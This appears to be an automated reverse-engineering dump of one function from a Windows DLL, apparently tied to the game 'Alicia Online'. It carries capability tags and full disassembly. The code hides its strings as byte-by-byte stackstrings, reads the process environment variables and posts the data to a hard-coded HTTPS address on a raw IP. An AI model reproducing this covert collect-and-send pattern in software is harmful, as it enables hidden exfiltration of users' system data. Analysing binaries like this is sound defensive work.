Function at 0x10007603
Capabilities:
Contain obfuscated stackstrings
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xec
push ebx
push esi
lea eax, [esp + 0xbc]
push edi
xor ebx, ebx
push eax
mov word [esp + 0xc4], 0x41
mov word [esp + 0xc6], 0x6c
mov word [esp + 0xc8], 0x69
mov word [esp + 0xca], 0x63
mov word [esp + 0xcc], 0x69
mov word [esp + 0xce], 0x61
mov word [esp + 0xd0], 0x5f
mov word [esp + 0xd2], 0x4f
mov word [esp + 0xd4], 0x6e
mov word [esp + 0xd6], 0x6c
mov word [esp + 0xd8], 0x69
mov word [esp + 0xda], 0x6e
mov word [esp + 0xdc], 0x65
mov word [esp + 0xde], 0x5f
mov word [esp + 0xe0], 0x44
mov word [esp + 0xe2], 0x65
mov word [esp + 0xe4], 0x62
mov word [esp + 0xe6], 0x75
mov word [esp + 0xe8], 0x67
mov word [esp + 0xea], 0x5f
mov word [esp + 0xec], 0x44
mov word [esp + 0xee], 0x61
mov word [esp + 0xf0], 0x74
mov word [esp + 0xf2], 0x61
mov word [esp + 0xf4], 0x73
mov word [esp + 0xf6], bx
call fcn.1000487b
mov edi, dword [eax + 4]
pop ecx
mov esi, eax
call fcn.10003fe9
push 0x34
pop ecx
lea eax, [esp + 0xc0]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007738
cmp edi, ebx
jne 0x10007749
xor eax, eax
jmp 0x10007c63
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.0002
call fcn.10004055
mov edi, eax
push edi
call fcn.10006e73
add esp, 0x24
push 0x65
pop eax
mov esi, 0x100445ac
push esi
push 0x28
push 2
push edi
mov word [esp + 0xac], 0x4d
mov word [esp + 0xae], 0x69
mov word [esp + 0xb0], 0x63
mov word [esp + 0xb2], 0x72
mov word [esp + 0xb4], 0x6f
mov word [esp + 0xb6], 0x73
mov word [esp + 0xb8], 0x6f
mov word [esp + 0xba], 0x66
mov word [esp + 0xbc], 0x74
mov word [esp + 0xbe], 0x5c
mov word [esp + 0xc0], 0x53
mov word [esp + 0xc2], ax
mov word [esp + 0xc4], 0x61
mov word [esp + 0xc6], 0x72
mov word [esp + 0xc8], 0x63
mov word [esp + 0xca], 0x68
mov word [esp + 0xcc], bx
mov word [esp + 0x98], 0x47
mov word [esp + 0x9a], 0x61
mov word [esp + 0x9c], 0x6d
mov word [esp + 0x9e], ax
mov word [esp + 0xa0], 0x74
mov word [esp + 0xa2], 0x72
mov word [esp + 0xa4], ax
mov word [esp + 0xa6], ax
mov word [esp + 0xa8], bx
call fcn.10006c52
lea eax, [esp + 0xac]
push eax
push 0x23
push 3
push edi
call fcn.10006c52
lea eax, [esp + 0xa8]
push eax
push 0x23
push 4
push edi
call fcn.10006c52
push esi
push 0x1a
push 5
push edi
call fcn.10006c52
add esp, 0x40
push esi
push 0x28
push 2
push edi
call fcn.10006d0a
lea eax, [esp + 0xac]
push eax
push 0x23
push 3
push edi
call fcn.10006d0a
lea eax, [esp + 0xa8]
push eax
push 0x23
push 4
push edi
call fcn.10006d0a
push esi
push 0x1a
push 5
push edi
call fcn.10006d0a
add esp, 0x40
push 0x22
pop ecx
lea eax, [esp + 0x9c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100078e9
push 0x12
pop ecx
lea eax, [esp + 0x88]
mov byte [eax], bl
inc eax
dec ecx
jne 0x100078f9
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
cmp eax, ebx
mov dword [esp + 0x68], eax
je 0x10007a2c
cmp word [eax], bx
mov word [esp + 0x78], 0x41
mov word [esp + 0x7a], 0x6c
mov word [esp + 0x7c], 0x69
mov word [esp + 0x7e], 0x63
mov word [esp + 0x80], 0x69
mov word [esp + 0x82], 0x61
mov word [esp + 0x84], bx
mov dword [esp + 0x70], eax
je 0x10007a18
mov esi, dword [esp + 0x70]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esi + eax*2 + 2]
mov dword [esp + 0xf4], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x6c], esi
sub dword [esp + 0x6c], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], 0x41
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x6c]
movzx eax, word [eax + ecx]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
movzx esi, ax
movzx eax, word [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
movzx eax, ax
sub esi, eax
jne 0x10007a00
add dword [esp + 0x1c], 2
mov eax, dword [esp + 0x1c]
movzx eax, word [eax]
cmp ax, bx
mov dword [esp + 0x10], eax
jne 0x10007984
push dword [esp + 0x70]
call fcn.10004530
pop ecx
push 0x3c
mov esi, edi
mov dword [esp + 0x14], eax
call fcn.10004239
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call fcn.1000429f
push 0x3e
call fcn.10004239
mov esi, dword [esp + 0x34]
add esp, 0x24
call fcn.10004011
mov eax, dword [esp + 0xf4]
cmp word [eax], bx
mov dword [esp + 0x70], eax
jne 0x10007956
mov eax, dword [esp + 0x68]
push 0xe
pop edx
lea ecx, [esp + 0x78]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x10007a1f
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push edi
call fcn.10006b5a
pop ecx
mov dword [esp + 0x74], 1
call fcn.1000123e
mov dword [esp + 0x10], eax
mov byte [esp + 0x3c], 0x34
mov byte [esp + 0x3d], 0x39
mov byte [esp + 0x3e], 0x2e
mov byte [esp + 0x3f], 0x31
mov byte [esp + 0x40], 0x32
mov byte [esp + 0x41], 0x2e
mov byte [esp + 0x42], 0x31
mov byte [esp + 0x43], 0x32
mov byte [esp + 0x44], 0x36
mov byte [esp + 0x45], 0x2e
mov byte [esp + 0x46], 0x32
mov byte [esp + 0x47], 0x33
mov byte [esp + 0x48], 0x30
mov byte [esp + 0x49], 0x2f
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], 0x67
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x2f
mov byte [esp + 0x50], 0x61
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x69
mov byte [esp + 0x53], 0x63
mov byte [esp + 0x54], 0x69
mov byte [esp + 0x55], 0x61
mov byte [esp + 0x56], 0x2f
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0x65
mov byte [esp + 0x59], 0x62
mov byte [esp + 0x5a], 0x75
mov byte [esp + 0x5b], 0x67
mov byte [esp + 0x5c], 0x5f
mov byte [esp + 0x5d], 0x64
mov byte [esp + 0x5e], 0x61
mov byte [esp + 0x5f], 0x74
mov byte [esp + 0x60], 0x61
mov byte [esp + 0x61], 0x2e
mov byte [esp + 0x62], 0x70
mov byte [esp + 0x63], 0x68
mov byte [esp + 0x64], 0x70
mov byte [esp + 0x65], bl
mov byte [esp + 0x20], 0x68
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x3a
mov byte [esp + 0x26], 0x2f
mov byte [esp + 0x27], 0x2f
mov byte [esp + 0x28], 0x34
mov byte [esp + 0x29], 0x39
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], 0x31
mov byte [esp + 0x2c], 0x32
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x31
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x36
mov byte [esp + 0x31], 0x2e
mov byte [esp + 0x32], 0x32
mov byte [esp + 0x33], 0x33
mov byte [esp + 0x34], 0x30
mov byte [esp + 0x35], 0x2f
mov byte [esp + 0x36], 0x6c
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x67
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], 0x6e
mov byte [esp + 0x3b], bl
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x18], bl
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [edi]
lea eax, [esp + 0x2c]
push 0x10044520
push eax
call fcn.10004055
push ebx
push ebx
push dword [eax]
mov dword [esp + 0x94], eax
push str._r_nContent_Type:__r_nContent_Length:__r_n_r_n
push str.close
push str._r_nConnection:
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x50]
xor eax, eax
call fcn.10003951
mov esi, eax
add esp, 0x44
cmp esi, ebx
je 0x10007c1f
lea eax, [esp + 0x74]
push eax
push str.result
push dword [esi]
call fcn.10005c65
add esp, 0xc
call fcn.10004011
mov esi, dword [esp + 0x68]
call fcn.10004011
push 0x2a
pop ecx
lea eax, [esp + 0x3c]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007c2f
push 0x1c
pop ecx
lea eax, [esp + 0x20]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007c3c
push 5
pop ecx
lea eax, [esp + 0x14]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007c49
mov ebx, dword [esp + 0x10]
call fcn.10001803
mov esi, edi
call fcn.10004011
mov eax, dword [esp + 0x74]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret